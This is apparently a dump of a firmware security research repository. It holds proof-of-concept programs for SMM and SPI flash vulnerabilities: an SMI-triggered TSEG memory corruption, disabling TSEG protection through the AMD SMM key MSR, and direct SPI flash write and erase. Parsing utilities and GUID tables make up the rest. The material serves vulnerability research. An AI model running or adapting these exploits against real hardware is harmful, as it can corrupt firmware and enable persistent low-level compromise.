Visual Studio solution file (Tutorial.sln) 5 | # The solution will have all targets (exe, lib, dll) 6 | # as Visual Studio projects (.vcproj) 7 | project (pocs) 8 | 9 | if (UNIX) 10 | enable_language(C ASM_NASM) 11 | # Add the assembly file to the library 12 | add_library(sinkclose_lib STATIC AmdSinkclose/sinkclose.s) 13 | set_source_files_properties( 14 | AmdSinkclose/sinkclose.s 15 | PROPERTIES LANGUAGE ASM_NASM 16 | ) 17 | endif (UNIX) 18 | 19 | if (WIN32) 20 | enable_language(ASM_NASM) 21 | add_library(sinkclose_lib STATIC AmdSinkclose/sinkclose.s) 22 | set_source_files_properties( 23 | AmdSinkclose/sinkclose.s 24 | PROPERTIES LANGUAGE ASM_NASM 25 | ) 26 | endif (WIN32) 27 | 28 | include_directories ( 29 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc" 30 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc/smm" 31 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc/intel" 32 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc/amd" 33 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/DeltaFuzz" 34 | ) 35 | 36 | if (WIN32) 37 | include_directories ("${PROJECT_SOURCE_DIR}/../PlatboxLib/inc/windows") 38 | endif (WIN32) 39 | 40 | if (UNIX) 41 | include_directories ( 42 | "${PROJECT_SOURCE_DIR}/../PlatboxLib/inc/linux" 43 | "${PROJECT_SOURCE_DIR}/../PlatboxDrv/linux/include" 44 | ) 45 | endif (UNIX) 46 | 47 | SET (PROJECT_ROOT "${PROJECT_SOURCE_DIR}") 48 | 49 | set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT") 50 | set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} /MTd") 51 | 52 | 53 | 54 | # POC executables 55 | 56 | add_executable(AcerSpiAccessViaSmiPoc Acer/CVE-2023-28468.cpp) 57 | add_executable(HuaweiSpiAccessViaSmiPoc Huawei/CVE-2023-28468.cpp) 58 | add_executable(AcerSmmCalloutPoc Acer/SmmCallout.cpp) 59 | add_executable(SecureCoreAcer SecureCoreAcer/DirectSpiAccess.cpp) 60 | 61 | add_executable(AmdSinkClose AmdSinkclose/sinkclose.cpp) 62 | 63 | 64 | 65 | # Link libraries 66 | target_link_libraries(AcerSpiAccessViaSmiPoc platbox_lib) 67 | target_link_libraries(HuaweiSpiAccessViaSmiPoc platbox_lib) 68 | target_link_libraries(AcerSmmCalloutPoc platbox_lib) 69 | target_link_libraries(SecureCoreAcer platbox_lib) 70 | 71 | target_link_libraries(AmdSinkClose sinkclose_lib platbox_lib -static) 72 | -------------------------------------------------------------------------------- /pocs/Misc/SecSMIFlash.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "poc_SecSMIFlash.h" 3 | #include "pci.h" 4 | #include "physmem.h" 5 | #include "msr.h" 6 | #include "global.h" 7 | #include "Util.h" 8 | #include 9 | 10 | 11 | void do_overwrite_smm_s3_state() { 12 | /* 13 | This triggers a vulnerable SW SMI in SecSmiFlash that allows to write 14 | a value 1 into the first 252 bytes of the TSEG 15 | 16 | The primitive is: 17 | mov byte ptr [rcx+102h], 1 18 | 19 | RCX is a controlled pointer that was only verified to be outside of SMRAM by 8 bytes 20 | Meaning 102h - 8 = 252 bytes of possible corruption 21 | 22 | The Structure SMM_S3_RESUME_STATE lives in this area 23 | */ 24 | SW_SMI_CALL smi_call = {0}; 25 | 26 | smi_call.SwSmiNumber = 0x1e; 27 | 28 | UINT64 tseg_base = 0xef000000; 29 | UINT64 target = tseg_base - 259; 30 | 31 | void *mapped_va = map_physical_memory(tseg_base - PAGE_SIZE, PAGE_SIZE); 32 | 33 | memset((void *) mapped_va, 0x00, PAGE_SIZE); 34 | 35 | print_memory(0, (char * )mapped_va, PAGE_SIZE); 36 | 37 | for (int i = 0 ; i < 250; i ++) { 38 | smi_call.rcx = (target >> 32) & 0xFFFFFFFF; 39 | smi_call.rbx = target & 0xFFFFFFFF; 40 | 41 | 42 | printf("attempting to write 1 into %llx\n", target + 0x102); 43 | 44 | target += 1; 45 | 46 | trigger_smi(&smi_call); 47 | 48 | } 49 | 50 | print_memory(0, (char * )mapped_va, PAGE_SIZE); 51 | 52 | unmap_physical_memory(mapped_va, PAGE_SIZE); 53 | } -------------------------------------------------------------------------------- /pocs/Misc/SmmKeyDemo.cpp: -------------------------------------------------------------------------------- 1 | #include "global.h" 2 | #include "pci.h" 3 | #include "common_chipset.h" 4 | #include "Util.h" 5 | #include "physmem.h" 6 | #include "msr.h" 7 | 8 | 9 | #define MSR_SMM_KEY 0xC0010119 10 | #define MSR_SMM_KEY_VAL 0x4141414141414141 11 | 12 | int main(int argc, char **argv) 13 | { 14 | open_platbox_device(); 15 | 16 | UINT64 tseg_base = 0; 17 | UINT32 tseg_size = 0; 18 | get_tseg_region(&tseg_base, &tseg_size); 19 | printf("TSEG Base: %08x\n", tseg_base); 20 | printf("TSEG End: %08x\n", tseg_base + tseg_size); 21 | printf("\nattempting to map TSEG\n"); 22 | void *tseg_map = map_physical_memory(tseg_base, PAGE_SIZE); 23 | print_memory(tseg_base, (char *) tseg_map, 0x100); 24 | unmap_physical_memory(tseg_map, PAGE_SIZE); 25 | 26 | getchar(); 27 | 28 | printf("Setting SMM Key\n"); 29 | do_write_msr(MSR_SMM_KEY, MSR_SMM_KEY_VAL); 30 | 31 | printf("Disabling TSEG protection\n"); 32 | UINT64 tseg_mask = 0; 33 | do_read_msr(AMD_MSR_SMM_TSEG_MASK, &tseg_mask); 34 | do_write_msr(AMD_MSR_SMM_TSEG_MASK, tseg_mask & 0xFFFFFFFFFFFFFFFC); 35 | 36 | printf("\nattempting to map TSEG\n"); 37 | tseg_map = map_physical_memory(tseg_base, PAGE_SIZE); 38 | print_memory(tseg_base, (char *) tseg_map, 0x100); 39 | unmap_physical_memory(tseg_map, PAGE_SIZE); 40 | 41 | close_platbox_device(); 42 | 43 | return 0; 44 | } -------------------------------------------------------------------------------- /pocs/README.md: -------------------------------------------------------------------------------- 1 | # POCs 2 | 3 | Example of how to use the lib -------------------------------------------------------------------------------- /pocs/SecureCoreAcer/DirectSpiAccess.cpp: -------------------------------------------------------------------------------- 1 | #include "global.h" 2 | #include "pci.h" 3 | #include "common_chipset.h" 4 | #include "Util.h" 5 | #include "physmem.h" 6 | #include "msr.h" 7 | #include "smm_communicate.h" 8 | #include "smi.h" 9 | #include "amd_psp.h" 10 | 11 | UINT32 spi_flash_unused_page() 12 | { 13 | 14 | UINT64 flash_base = 0xFD00000000; 15 | UINT32 flash_size = 32 * 1024 * 1024; 16 | 17 | void *mem = calloc(1, PAGE_SIZE); 18 | memset(mem, 0xff, PAGE_SIZE); 19 | UINT32 offset = 0; 20 | for (int i = 0; i < flash_size; i += PAGE_SIZE) 21 | { 22 | void *p = map_physical_memory(flash_base + i, PAGE_SIZE); 23 | // printf("%lx\n", flash_base+i); 24 | if (memcmp(mem, p, PAGE_SIZE) == 0) 25 | { 26 | offset = i; 27 | 28 | unmap_physical_memory(p, PAGE_SIZE); 29 | break; 30 | } 31 | unmap_physical_memory(p, PAGE_SIZE); 32 | } 33 | printf("Found unused page at: %08x\n", offset); 34 | free(mem); 35 | return offset; 36 | } 37 | 38 | UINT32 spi_flash_list_unused_pages() 39 | { 40 | 41 | UINT64 flash_base = 0xFD00000000; 42 | UINT32 flash_size = 32 * 1024 * 1024; 43 | 44 | void *mem = calloc(1, PAGE_SIZE*1); 45 | memset(mem, 0xff, PAGE_SIZE); 46 | UINT32 offset = 0; 47 | for (int i = 0; i < flash_size; i += PAGE_SIZE) 48 | { 49 | void *p = map_physical_memory(flash_base + i, PAGE_SIZE); 50 | // printf("%lx\n", flash_base+i); 51 | if (memcmp(mem, p, PAGE_SIZE) == 0) 52 | { 53 | offset = i; 54 | printf("offset: 0x%llx\n", offset); 55 | unmap_physical_memory(p, PAGE_SIZE); 56 | continue; 57 | } 58 | unmap_physical_memory(p, PAGE_SIZE); 59 | } 60 | //printf("Found unused page at: %08x\n", offset); 61 | free(mem); 62 | return offset; 63 | } 64 | 65 | 66 | void proof_of_concept2() 67 | { 68 | amd_retrieve_chipset_information(); 69 | 70 | BYTE *mem = (BYTE *)calloc(1, 4096); 71 | 72 | UINT32 target_fla = spi_flash_unused_page(); 73 | 74 | read_from_flash_index_mode(NULL, target_fla, 4096, mem); 75 | print_memory(0xFD00000000 + target_fla, (char *)mem, 0x100); 76 | getchar(); 77 | 78 | const char msg[] = "This is clearly not a gibson"; 79 | 80 | amd_spi_write_buffer(NULL, target_fla, (BYTE *) msg, strlen(msg)); 81 | 82 | memset(mem, 0x00, PAGE_SIZE); 83 | 84 | read_from_flash_index_mode(NULL, target_fla, 4096, mem); 85 | print_memory(0xFD00000000 + target_fla, (char *)mem, 0x100); 86 | getchar(); 87 | amd_spi_erase_4k_block(NULL, target_fla); 88 | 89 | read_from_flash_index_mode(NULL, target_fla, 4096, mem); 90 | print_memory(0xFD00000000 + target_fla, (char *)mem, 0x100); 91 | getchar(); 92 | 93 | free(mem); 94 | } 95 | 96 | 97 | int main(int argc, char **argv) 98 | { 99 | open_platbox_device(); 100 | 101 | proof_of_concept2(); 102 | close_platbox_device(); 103 | 104 | return 0; 105 | } -------------------------------------------------------------------------------- /tools/add-env.ps1: -------------------------------------------------------------------------------- 1 | # install-module uefiv2 2 | $BYTES = [byte] 255,255,255,255,41,41,41,41,255,255,255,255 3 | Set-UEFIVariable -VariableName IOActive -Namespace "{8be4df61-1234-5432-asda-00ee0394855a}" -ByteArray $BYTES 4 | -------------------------------------------------------------------------------- /tools/amd_smram_parser/ctypes_utils.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | 3 | _u8 = ctypes.c_uint8 4 | _u16 = ctypes.c_uint16 5 | _u32 = ctypes.c_uint32 6 | _u64 = ctypes.c_uint64 7 | 8 | u8 = _u8 9 | u16 = _u16 10 | u32 = _u32 11 | u64 = _u64 12 | 13 | _g_formats = { 14 | _u8 : "0x{:02x}", 15 | _u16 : "0x{:04x}", 16 | _u32 : "0x{:08x}", 17 | _u64 : "0x{:016x}", 18 | } 19 | 20 | def w32(dst_obj, src_obj): 21 | """Copies a 32-bit value from src obj, and assignes it to the value of dst_obj.""" 22 | dst_obj.value = _u32.from_address(ctypes.addressof(src_obj)).value 23 | 24 | def w64(dst_obj, src_obj): 25 | """Copies a 64-bit value from src obj, and assignes it to the value of dst_obj.""" 26 | dst_obj.value = _u64.from_address(ctypes.addressof(src_obj)).value 27 | 28 | def as32(obj): 29 | """Copies the first 32-bits of the object and returns it as a number.""" 30 | return _u32.from_address(ctypes.addressof(obj)).value 31 | 32 | def as64(obj): 33 | """Copies the first 64-bits of the object and returns it as a number.""" 34 | return _u64.from_address(ctypes.addressof(obj)).value 35 | 36 | 37 | class PrintingStructure(ctypes.Structure): 38 | 39 | def value_to_string(self, t, v, bits=None): 40 | if isinstance(v, bytes): 41 | return repr(v) 42 | elif issubclass(t, ctypes.Array): 43 | elements = [] 44 | for i in v: 45 | elements.append(self.value_to_string(v._type_, i)) 46 | return "[{}]".format(", ".join(elements)) 47 | else: 48 | if bits != None: 49 | if bits <= 8: 50 | t = _u8 51 | elif bits <= 16: 52 | t = _u16 53 | elif bits <= 32: 54 | t = _u32 55 | else: 56 | t = _u64 57 | fmt = _g_formats.get(t, "{}") 58 | return fmt.format(v) 59 | 60 | 61 | def show(self, prefix="", top_level=True): 62 | if top_level: 63 | print("{}:".format(self.__class__.__name__)) 64 | prefix += " " 65 | for field in self._fields_: 66 | name = field[0] 67 | field_type = field[1] 68 | value = getattr(self, name) 69 | if issubclass(field_type, PrintingStructure): 70 | print("{}{}:".format(prefix, name)) 71 | value.show(prefix + " ", top_level=False) 72 | else: 73 | value_str = self.value_to_string(field_type, value, field[2] if len(field) > 2 else None) 74 | print("{}{}: {}".format(prefix, name, value_str)) 75 | 76 | def sizeof(self): 77 | return ctypes.sizeof(self) -------------------------------------------------------------------------------- /tools/amd_smram_parser/efiguids/__init__.py: -------------------------------------------------------------------------------- 1 | from . import efiguids 2 | from . import efiguids_ami 3 | from . import efiguids_dell 4 | from . import efiguids_lenovo 5 | from . import efiguids_asrock 6 | 7 | from ..utils import aguid 8 | 9 | GUID_TABLES = [ 10 | efiguids.GUIDs, 11 | efiguids_ami.GUIDs, 12 | efiguids_dell.GUIDs, 13 | efiguids_lenovo.GUIDs, 14 | efiguids_asrock.GUIDs, 15 | ] 16 | 17 | 18 | def get_guid_name(guid): 19 | raw_guid = aguid(guid) 20 | 21 | for guid_table in GUID_TABLES: 22 | for name, match_guid in list(guid_table.items()): 23 | match = True 24 | for i, k in enumerate(raw_guid): 25 | if match_guid[i] != k: 26 | match = False 27 | break 28 | if match: 29 | return name 30 | return None 31 | 32 | 33 | def get_tables(): 34 | return GUID_TABLES 35 | -------------------------------------------------------------------------------- /tools/amd_smram_parser/efiguids/efiguids_asrock.py: -------------------------------------------------------------------------------- 1 | 2 | GUIDs = { 3 | "ASROCK_ACPIS4_DXE_GUID": [69196166, 45078, 18382, 175, 197, 34, 105, 237, 212, 173, 100], 4 | "ASROCK_USBRT_GUID": [82487969, 10657, 4567, 136, 56, 0, 80, 4, 115, 212, 235], 5 | "ASROCK_RAID_SETUP_GUID": [152494882, 14144, 12750, 173, 98, 189, 23, 44, 236, 202, 54], 6 | "ASROCK_RAID_LOADER_GUID": [164506669, 19843, 17592, 151, 208, 16, 133, 235, 84, 144, 184], 7 | "ASROCK_SIOSLPSMI_GUID": [204970154, 53806, 19926, 140, 180, 60, 156, 251, 29, 134, 211], 8 | "ASROCK_PLEDDXE_GUID": [260599413, 12329, 20175, 182, 148, 34, 137, 77, 63, 33, 67], 9 | "ASROCK_A_DEFAULT_DXE_GUID": [303480106, 49246, 19565, 145, 231, 235, 142, 55, 173, 59, 122], 10 | "ASROCK_USER_DEF_SETUP_DXE_GUID": [321832763, 48422, 20415, 177, 147, 138, 203, 80, 239, 189, 137], 11 | "ASROCK_WAKEUP_CTRL_SMM_GUID": [460234064, 4836, 19285, 129, 217, 26, 191, 236, 89, 212, 252], 12 | "ASROCK_AMI_AGESA_DXE_GUID": [503020538, 49038, 19729, 151, 102, 47, 176, 208, 68, 35, 16], 13 | "ASROCK_HDD_READY_SMI_GUID": [560462180, 29336, 19087, 154, 42, 191, 228, 152, 214, 0, 168], 14 | "ASROCK_MOUSE_DRIVER_GUID": [719032155, 51156, 20094, 190, 42, 35, 99, 77, 246, 104, 161], 15 | "ASROCK_IDESMM_GUID": [829100592, 1280, 17810, 140, 9, 234, 186, 15, 182, 176, 127], 16 | "ASROCK_BFGSMI_GUID": [978522445, 22131, 19929, 181, 179, 203, 114, 195, 71, 102, 155], 17 | "ASROCK_ASRLOGODXE_GUID": [1033880909, 6629, 19152, 185, 134, 2, 214, 135, 215, 96, 229], 18 | "ASROCK_ASM104_X_DXE_GUID": [1080004582, 21011, 19333, 184, 33, 151, 183, 122, 255, 121, 91], 19 | "ASROCK_HDAUDIO_SMI_GUID": [1254707048, 58961, 19256, 161, 216, 45, 93, 239, 250, 15, 96], 20 | "ASROCK_SM_BUS_DXE_GUID": [1265110573, 3427, 20322, 185, 48, 122, 233, 149, 185, 179, 163], 21 | "ASROCK_USBINT13_GUID": [1275096281, 6586, 17943, 132, 131, 96, 145, 148, 161, 172, 252], 22 | "ASROCK_SLP_SUPPORT_GUID": [1279872597, 22601, 21314, 69, 84, 84, 69, 82, 33, 33, 33], 23 | "ASROCK_PATA_CONTROLLER_GUID": [1334921163, 38702, 20316, 184, 105, 160, 33, 130, 201, 217, 60], 24 | "ASROCK_SATA_CONTROLLER_GUID": [1359869601, 46785, 18760, 174, 231, 89, 242, 32, 248, 152, 189], 25 | "ASROCK_ACPIS4_SMM_GUID": [1368992111, 10248, 19194, 148, 196, 153, 246, 176, 108, 135, 30], 26 | "ASROCK_POST_REPORT_GUID": [1413923475, 13211, 18381, 183, 25, 88, 93, 227, 148, 8, 204], 27 | "ASROCK_CLOCK_GEN_DXE_GUID": [1447053695, 25694, 17937, 185, 21, 230, 130, 200, 189, 71, 131], 28 | "ASROCK_UHCD_GUID": [1477302528, 14429, 4567, 136, 58, 0, 80, 4, 115, 212, 235], 29 | "ASROCK_LEGACY_REGION_GUID": [1495543256, 59343, 18809, 182, 14, 166, 6, 126, 42, 24, 95], 30 | "ASROCK_SLEEP_SMI_GUID": [1654193688, 54767, 17079, 187, 12, 41, 83, 40, 63, 87, 4], 31 | "ASROCK_CMOS_MANAGER_SMM_GUID": [1751762355, 44173, 18803, 139, 55, 227, 84, 219, 243, 74, 221], 32 | "ASROCK_AMD_AGESA_DXE_DRIVER_GUID": [1766895615, 28387, 4573, 173, 139, 8, 0, 32, 12, 154, 102], 33 | "ASROCK_RE_FLASH_GUID": [1893836824, 3041, 17481, 191, 212, 158, 246, 140, 127, 2, 168], 34 | "ASROCK_LEGACY_INTERRUPT_GUID": [1911362257, 9483, 17147, 140, 23, 16, 220, 250, 119, 23, 1], 35 | "ASROCK_SMM_CHILD_DISPATCHER_GUID": [1966485705, 64229, 18345, 187, 191, 136, 214, 33, 205, 114, 130], 36 | "ASROCK_BFGDXE_GUID": [1988600983, 65358, 18687, 188, 170, 103, 219, 246, 92, 66, 209], 37 | "ASROCK_IFLASHSETUP_GUID": [2011543064, 9746, 19496, 188, 223, 162, 177, 77, 138, 62, 254], 38 | "ASROCK_S4_SLEEPDELAY_GUID": [2075935011, 23902, 19484, 149, 209, 48, 235, 164, 135, 1, 202], 39 | "ASROCK_HDD_READY_DXE_GUID": [2179248970, 9868, 20428, 142, 57, 28, 29, 62, 111, 110, 105], 40 | "ASROCK_RTLANDXE_GUID": [2332955475, 13708, 20015, 147, 69, 238, 191, 29, 171, 152, 155], 41 | "ASROCK_AMD_SB900_DXE_GUID": [2333274783, 28981, 20139, 175, 218, 5, 18, 247, 75, 101, 234], 42 | "ASROCK_SB900_SMBUS_LIGHT_GUID": [2551896525, 34437, 19115, 175, 218, 5, 18, 247, 75, 101, 234], 43 | "ASROCK_AAFTBL_SMI_GUID": [2667102838, 46054, 19161, 143, 231, 199, 79, 113, 196, 114, 72], 44 | "ASROCK_NVRAMID_GUID": [2708185858, 25876, 17031, 190, 227, 98, 35, 183, 222, 44, 33], 45 | "ASROCK_IDE_SECURITY_GUID": [2847342799, 414, 19851, 163, 167, 136, 225, 234, 1, 105, 158], 46 | "ASROCK_ASM1061_DXE_GUID": [2848876245, 27959, 17694, 169, 191, 245, 143, 122, 11, 60, 194], 47 | "ASROCK_ASM104_X_SMI_GUID": [2904508538, 47702, 18652, 142, 170, 232, 251, 234, 116, 184, 242], 48 | "ASROCK_RTLANSMI_GUID": [3005543067, 24215, 19449, 180, 224, 81, 37, 193, 246, 5, 213], 49 | "ASROCK_GEC_UPDATE_SMI_GUID": [3092850716, 5882, 17832, 146, 1, 28, 56, 48, 169, 115, 189], 50 | "ASROCK_APMOFF_GUID": [3146872289, 16021, 19326, 135, 80, 157, 106, 163, 78, 183, 246], 51 | "ASROCK_SMIFLASH_GUID": [3157425597, 47490, 20309, 159, 121, 5, 106, 215, 233, 135, 197], 52 | "ASROCK_RAID_X64_GUID": [3295196034, 17744, 18697, 173, 87, 36, 150, 20, 27, 63, 74], 53 | "ASROCK_AMD_SB900_SMM_GUID": [3351810409, 6722, 20062, 179, 75, 230, 131, 6, 113, 201, 166], 54 | "ASROCK_FIREWIRE_GUID": [3367390790, 38937, 17835, 135, 93, 9, 223, 218, 109, 139, 27], 55 | "ASROCK_IDE_SMART_GUID": [3581707566, 32927, 17871, 163, 119, 215, 123, 192, 203, 120, 238], 56 | "ASROCK_SB_INTERFACE_DXE_GUID": [3622218689, 38683, 17947, 181, 228, 60, 55, 102, 38, 122, 217], 57 | "ASROCK_AMD_SB900_SMM_DISPATCHER_GUID": [3748899802, 31298, 20062, 179, 75, 230, 131, 6, 113, 201, 166], 58 | "ASROCK_AMDCPU_DXE_GUID": [3786566962, 16719, 18139, 154, 238, 66, 0, 119, 243, 93, 190], 59 | "ASROCK_SMBIOS_DMIEDIT_GUID": [3802613560, 35124, 18677, 132, 18, 153, 233, 72, 200, 220, 27], 60 | "ASROCK_SECURITY_SELECT_DXE_GUID": [3832130086, 37480, 20144, 160, 135, 221, 76, 238, 55, 64, 75], 61 | "ASROCK_FILE_EXPLORER_LITE_GUID": [3875982164, 33976, 16573, 131, 47, 127, 178, 213, 203, 135, 179], 62 | "ASROCK_PLEDSMM_GUID": [3911953940, 15869, 19568, 159, 230, 56, 153, 243, 108, 120, 70], 63 | "ASROCK_CPU_SMBIOS_DRIVER_GUID": [3930959592, 43089, 19103, 171, 244, 183, 159, 162, 82, 130, 145], 64 | "ASROCK_AAFTBL_DXE_GUID": [4279363330, 35107, 18380, 173, 48, 217, 224, 226, 64, 221, 16], 65 | } 66 | -------------------------------------------------------------------------------- /tools/bootscript-parser3.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from struct import unpack 3 | 4 | # Boot script table opcode 5 | FRAMEWORK_EFI_BOOT_SCRIPT_TABLE_OPCODE = 0xAA 6 | 7 | # Boot script opcodes 8 | EFI_BOOT_SCRIPT_IO_WRITE_OPCODE = 0x00 9 | EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE = 0x01 10 | EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE = 0x02 11 | EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE = 0x03 12 | EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE = 0x04 13 | EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE = 0x05 14 | EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE = 0x06 15 | EFI_BOOT_SCRIPT_STALL_OPCODE = 0x07 16 | EFI_BOOT_SCRIPT_DISPATCH_OPCODE = 0x08 17 | EFI_BOOT_SCRIPT_DISPATCH_2_OPCODE = 0x09 18 | EFI_BOOT_SCRIPT_INFORMATION_OPCODE = 0x0A 19 | EFI_BOOT_SCRIPT_PCI_CONFIG2_WRITE_OPCODE = 0x0B 20 | EFI_BOOT_SCRIPT_PCI_CONFIG2_READ_WRITE_OPCODE = 0x0C 21 | EFI_BOOT_SCRIPT_IO_POLL_OPCODE = 0x0D 22 | EFI_BOOT_SCRIPT_MEM_POLL_OPCODE = 0x0E 23 | EFI_BOOT_SCRIPT_PCI_CONFIG_POLL_OPCODE = 0x0F 24 | EFI_BOOT_SCRIPT_PCI_CONFIG2_POLL_OPCODE = 0x10 25 | 26 | FRAMEWORK_EFI_BOOT_SCRIPT_TERMINATE_OPCODE = 0xFF 27 | 28 | 29 | def read_table_header(data): 30 | opcode, hdrLen, version, bsLen, _ = unpack('=HBHII', data[:13]) 31 | 32 | if opcode == FRAMEWORK_EFI_BOOT_SCRIPT_TABLE_OPCODE: 33 | print("Bootscript table opcode identified") 34 | print(f"- Header length: {hdrLen}") 35 | print(f"- Version: {version}") 36 | print(f"- Bootscript length: {bsLen}") 37 | 38 | return hdrLen, bsLen 39 | 40 | def read_opcode_header(data): 41 | opcode, length = unpack('=HB', data[:3]) 42 | 43 | if opcode == EFI_BOOT_SCRIPT_IO_WRITE_OPCODE: 44 | print("[*] IO write") 45 | width, count, address = unpack('=IIQ', data[3:19]) 46 | print(f"- Width: {width}") 47 | print(f"- Count: {count}") 48 | print(f"- Address: {hex(address)}") 49 | 50 | elif opcode == EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE: 51 | print("[*] IO read") 52 | width, address = unpack('=IQ', data[3:15]) 53 | print(f"- Width: {width}") 54 | print(f"- Address: {hex(address)}") 55 | 56 | elif opcode == EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE: 57 | print("[*] Mem write") 58 | width, count, address = unpack('=IIQ', data[3:19]) 59 | print(f"- Width: {width}") 60 | print(f"- Count: {count}") 61 | print(f"- Address: {hex(address)}") 62 | 63 | elif opcode == EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE: 64 | print("[*] Mem read") 65 | width, address = unpack('=IQ', data[3:15]) 66 | print(f"- Width: {width}") 67 | print(f"- Address: {hex(address)}") 68 | 69 | elif opcode == EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE: 70 | print("[*] PCI config write") 71 | width, count, address = unpack('=IIQ', data[3:19]) 72 | bus, dev, func, offset = (address >> 24) & 0xFF, (address >> 16) & 0xFF, (address >> 8) & 0xFF, address & 0xFF 73 | print(f"- Width: {width}") 74 | print(f"- Address: ({bus}, {dev}, {func}, {offset})") 75 | 76 | elif opcode == EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE: 77 | print("[*] PCI config read") 78 | width, address = unpack('=IQ', data[3:15]) 79 | bus, dev, func, offset = (address >> 24) & 0xFF, (address >> 16) & 0xFF, (address >> 8) & 0xFF, address & 0xFF 80 | print(f"- Width: {width}") 81 | print(f"- Address: ({bus}, {dev}, {func}, {offset})") 82 | 83 | elif opcode == EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE: 84 | print("[*] SMBus execute") 85 | address, operation, dataSize = unpack('=QII', data[3:19]) 86 | print(f"- Address: {hex(address)}") 87 | print(f"- Operation: {operation}") 88 | print(f"- Data size: {dataSize}") 89 | 90 | elif opcode == EFI_BOOT_SCRIPT_STALL_OPCODE: 91 | print("[*] Stall") 92 | 93 | elif opcode == EFI_BOOT_SCRIPT_DISPATCH_OPCODE: 94 | print("[!] Dispatch") 95 | entrypoint = unpack('=Q', data[3:]) 96 | print(f"- Entrypoint {hex(entrypoint)}") 97 | 98 | elif opcode == EFI_BOOT_SCRIPT_DISPATCH_2_OPCODE: 99 | print("[!] Dispatch2") 100 | entrypoint, context = unpack('=QQ', data[3:]) 101 | print(f"- Entrypoint {hex(entrypoint)}") 102 | print(f"- Context {hex(context)}") 103 | 104 | elif opcode == EFI_BOOT_SCRIPT_INFORMATION_OPCODE: 105 | print("[*] Info") 106 | 107 | elif opcode == EFI_BOOT_SCRIPT_PCI_CONFIG2_WRITE_OPCODE: 108 | print("[*] PCI config2 write") 109 | width, address = unpack('=IQ', data[3:13]) 110 | print(f"- Width: {width}") 111 | print(f"- Address: {address}") 112 | 113 | elif opcode == EFI_BOOT_SCRIPT_PCI_CONFIG2_READ_WRITE_OPCODE: 114 | print("[*] PCI config2 read write") 115 | width, address, segment = unpack('=IQH', data[3:17]) 116 | print(f"- Width: {width}") 117 | print(f"- Address: {address}") 118 | print(f"- Segment: {segment}") 119 | 120 | elif opcode == EFI_BOOT_SCRIPT_IO_POLL_OPCODE: 121 | print("[*] IO poll") 122 | width, address, delay = unpack('=IQQ', data[3:23]) 123 | print(f"- Width: {width}") 124 | print(f"- Address: {hex(address)}") 125 | print(f"- Delay: {delay}") 126 | 127 | elif opcode == EFI_BOOT_SCRIPT_MEM_POLL_OPCODE: 128 | print("[*] Mem poll") 129 | width, address, duration, loopTimes = unpack('=IQQQ', data[3:31]) 130 | print(f"- Width: {width}") 131 | print(f"- Address: {hex(address)}") 132 | print(f"- Duration: {duration}") 133 | print(f"- Loop times: {loopTimes}") 134 | 135 | elif opcode == EFI_BOOT_SCRIPT_PCI_CONFIG_POLL_OPCODE: 136 | print("[*] PCI config poll") 137 | width, address, delay = unpack('=IQQ', data[3:23]) 138 | print(f"- Width: {width}") 139 | print(f"- Address: {address}") 140 | print(f"- Delay: {delay}") 141 | 142 | elif opcode == EFI_BOOT_SCRIPT_PCI_CONFIG2_POLL_OPCODE: 143 | print("[*] PCI config2 poll") 144 | width, address, segment, delay = unpack('=IQHQ', data[3:25]) 145 | print(f"- Width: {width}") 146 | print(f"- Address: {address}") 147 | print(f"- Segment: {segment}") 148 | print(f"- Delay: {delay}") 149 | 150 | elif opcode == FRAMEWORK_EFI_BOOT_SCRIPT_TERMINATE_OPCODE: 151 | print("[*] Terminate") 152 | 153 | return length 154 | 155 | 156 | def parse(script): 157 | hdrLen, bsLen = read_table_header(script) 158 | script = script[hdrLen:bsLen] 159 | 160 | while True: 161 | opcodeLen = read_opcode_header(script) 162 | script = script[opcodeLen:] 163 | 164 | if len(script) == 0: 165 | break 166 | 167 | 168 | if len(sys.argv) != 2: 169 | print("Usage: {sys.argv[0]} ") 170 | exit() 171 | 172 | script = open(sys.argv[1], "rb").read() 173 | parse(script) -------------------------------------------------------------------------------- /tools/decode_mmio.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | 4 | MMIO_BASE = 0xF0000000 5 | 6 | def decode_device(addr): 7 | function = (addr >> 12) & 0x7 8 | device = (addr >> 15) & 0x1f 9 | bus = (addr >> 20) & 0xff 10 | offset = addr & 0xFFF 11 | print(f"B:D:F -> {bus:02x}:{device:02x}:{function:02x} [{offset:08x}] ") 12 | 13 | 14 | if __name__ == "__main__": 15 | addr = int(sys.argv[1], 16) 16 | decode_device(addr) -------------------------------------------------------------------------------- /tools/rom_armor_psp_policy.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import sys 3 | 4 | """ 5 | 0083d000 24 42 4c 32 2a 70 14 8c 1b 00 00 00 58 04 00 40 |$BL2*p......X..@| 6 | 7 | 0083d010 05 00 00 00 40 04 00 00 00 04 00 00 00 00 00 80 |....@...........| 8 | 0083d020 ff ff ff ff ff ff ff ff 07 00 00 00 00 01 00 00 |................| 9 | 0083d030 00 09 00 00 00 00 00 80 ff ff ff ff ff ff ff ff |................| 10 | 0083d040 60 00 00 20 00 30 00 00 00 10 00 00 00 00 00 80 |`.. .0..........| 11 | 0083d050 ff ff ff ff ff ff ff ff 68 00 00 00 00 d0 00 00 |........h.......| 12 | 0083d060 00 40 00 00 00 00 00 80 